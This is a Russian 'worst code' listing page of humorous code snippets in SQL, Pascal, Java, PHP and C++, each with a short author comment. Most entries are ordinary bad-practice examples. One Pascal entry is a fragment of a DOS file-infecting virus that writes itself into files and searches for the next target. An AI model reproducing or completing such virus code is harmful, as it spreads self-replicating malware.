1. Лучший говнокод

    В номинации:
    За время:
  2. SQL / Говнокод #10979

    −78

    1. 1
    tg_hujak_v_zap_na_sklade

    Название триггера в промышленной системе.
    Hint: zap_na_sklade - таблица

    Xps, 16 Июня 2012

    Комментарии (34)
  3. Pascal / Говнокод #10539

    +102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    { Infected it}
    BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
    Close(Go);
    { Say what has been done}
    WriteLn(UsePath +' infected.');
    Halt; {... and HALT the program}
    End;
    Close(Go);
    End;
    {The file has already been infected, search next}
    Reg.AH:=$4F;
    Reg.DS Seg(DTA);
    Reg.DX Ofs(DTA);
    MsDos(Reg)
    {... Until no more files found}
    Until Odd(Reg.Flags);
    Write(''); { Give a smile}
    End.

    http://www.liveinternet.ru/users/gafarov-91/post120984751/

    Вторая часть.

    dos_, 03 Июня 2012

    Комментарии (34)
  4. Java / Говнокод #10381

    +75

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    byte[] buf = new byte[8192];
    int len = 0;
    while ((len = is.read(buf))>0)
    {
        requestString += new String(buf, 0, len, "UTF-8");
    }

    Пока никто не кормил туда настоящий UTF-8. Только ascii.

    konsoletyper, 28 Мая 2012

    Комментарии (34)
  5. PHP / Говнокод #8467

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    // $reg_date = "12.12.2007 15:41";
    
    $this->reg_date = strptime($reg_date, "%d.%m.%Y %H:%M");
    
    // и теперь обратно. Казалось бы, все просто, ан нет!
    $rd = $this->reg_date;
    $reg_date = mktime($rd['tm_hour'], $rd['tm_min'], 0, $rd['tm_mon']+1, $rd['tm_mday'], 1900+$rd['tm_year']); //как это???
    $reg_date = strftime("%d.%m.%Y %H:%M", $reg_date);
    // нормально, у strptime и strftime порядок аргументов разный
    
    // $r_date == "12.12.2007 15:41"

    Попытался написать на PHP простенькую штуку, глаза на лоб полезли от того как там делаются элементарнейшие вещи. Скажите, что все можно сделать проще и я просто плохо читал документацию!

    hakimovis, 10 Ноября 2011

    Комментарии (34)
  6. C++ / Говнокод #8210

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    void __fastcall TForm1::ShowBits(unsigned char data)
    {
       if(data&0x1)ImBit0->Canvas->Brush->Color=0x0000FF00;
       else ImBit0->Canvas->Brush->Color=clRed;
       ImBit0->Canvas->FillRect(TRect(0,0,ImBit0->Width,ImBit0->Height));
       if(data&0x2)ImBit1->Canvas->Brush->Color=0x0000FF00;
       else ImBit1->Canvas->Brush->Color=clRed;
       ImBit1->Canvas->FillRect(TRect(0,0,ImBit1->Width,ImBit1->Height));
       if(data&0x4)ImBit2->Canvas->Brush->Color=0x0000FF00;
       else ImBit2->Canvas->Brush->Color=clRed;
    
       ImBit2->Canvas->FillRect(TRect(0,0,ImBit2->Width,ImBit2->Height));
       if(data&0x8)ImBit3->Canvas->Brush->Color=0x0000FF00;
       else ImBit3->Canvas->Brush->Color=clRed;
    
       ImBit3->Canvas->FillRect(TRect(0,0,ImBit3->Width,ImBit3->Height));
       if(data&0x10)ImBit4->Canvas->Brush->Color=0x0000FF00;
       else ImBit4->Canvas->Brush->Color=clRed;
    
       ImBit4->Canvas->FillRect(TRect(0,0,ImBit4->Width,ImBit4->Height));
    
       if(data&0x20)ImBit5->Canvas->Brush->Color=0x0000FF00;
       else ImBit5->Canvas->Brush->Color=clRed;
       ImBit5->Canvas->FillRect(TRect(0,0,ImBit5->Width,ImBit5->Height));
    
       if(data&0x40)ImBit6->Canvas->Brush->Color=0x0000FF00;
       else ImBit6->Canvas->Brush->Color=clRed;
       ImBit6->Canvas->FillRect(TRect(0,0,ImBit6->Width,ImBit6->Height));
    
       if(data&0x80)ImBit7->Canvas->Brush->Color=0x0000FF00;
       else ImBit7->Canvas->Brush->Color=clRed;
       ImBit7->Canvas->FillRect(TRect(0,0,ImBit7->Width,ImBit7->Height));
    }

    Отображение состояния битов байта

    absolut, 17 Октября 2011

    Комментарии (34)
  7. C++ / Говнокод #7912

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    static void tm_to_systemtime(const tm* pTime, LPSYSTEMTIME pSysTime )
    {
    	time_t timeT = mktime((tm*)pTime);
    	FILETIME fTime = {0},lTime = {0};
    	LONGLONG ll = Int32x32To64(timeT, 10000000) + 116444736000000000;
    	fTime.dwLowDateTime = (DWORD) ll;
    	fTime.dwHighDateTime = ll >>32;
    	FileTimeToLocalFileTime(&fTime,&lTime);
    	FileTimeToSystemTime(&lTime,pSysTime);
    }
    
    static std::string GetDateTimeString(const tm& activ)
    {
    	SYSTEMTIME sysTime = {0};
    	tm_to_systemtime(&activ,&sysTime);
    	char str[256];
    	//format to <YYYYMMDDHHMMSS>
    	sprintf_s(str,sizeof(str),"%04d%02d%02d%02d%02d%02d",sysTime.wYear,sysTime.wMonth,sysTime.wDay,sysTime.wHour,sysTime.wMinute,sysTime.wSecond);
    	return std::string(str);
    }

    далеко не самый скучный способ отформатировать ::tm в виде YYYYMMDDHHmmss

    defecate-plusplus, 20 Сентября 2011

    Комментарии (34)
  8. C++ / Говнокод #7828

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    template<typename T,typename FIELD_T>
    struct type_has_field{
      typedef char yes_type;
      struct no_type{char padding[8];};
      template<class U>
      static yes_type check_sig1(
        U*,
        FIELD_T(U::*)=&U::field          // !!!Most importantly!!!
      );
      template<class U>
      static no_type check_sig1(...);
      static const bool value=sizeof(check_sig1<T>(0))==sizeof(yes_type);
    };

    http://www.gamedev.ru/code/forum/?id=152200

    CPPGovno, 10 Сентября 2011

    Комментарии (34)
  9. C++ / Говнокод #7114

    +163

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    #include <stdio.h>
    
    const int (&getArray())[10] {
      static int tmp[10] = {1,2,3,4,5,6,7,8,9,10};
      return tmp;
    }
    
    void foo(const int (&refArr)[10])
    {
      size_t size = sizeof(refArr); // returns 10*sizeof(int)
      printf ("Array size: %d\r\n", size);
    }
    
    
    int main() {
      foo(getArray());
    
      printf ("%d", getArray()[0]);
      for (size_t i=1; i<sizeof(getArray())/sizeof(getArray()[0]); ++i)
        printf (",%d", getArray()[i]);
        
      return 0;
    }

    http://codepad.org/rPl6b7IS

    c++ страшный язык :)
    Извращения на тему: http://heifner.blogspot.com/2005/06/c-reference-to-array.html

    Aleskey, 30 Июня 2011

    Комментарии (34)
  10. PHP / Говнокод #7017

    +159

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    protected function readConfig($configPath) {
        $ini = parse_ini_file($configPath);
        foreach ($ini as $key => $value) {
            $config[$key] = $value;
        }
        return $config;
    }

    xarper, 21 Июня 2011

    Комментарии (34)
  11. PHP / Говнокод #7011

    +147

    1. 1
    2. 2
    3. 3
    if ($a = 1) {
    	...бла-бла-бла
    }

    nislova, 20 Июня 2011

    Комментарии (34)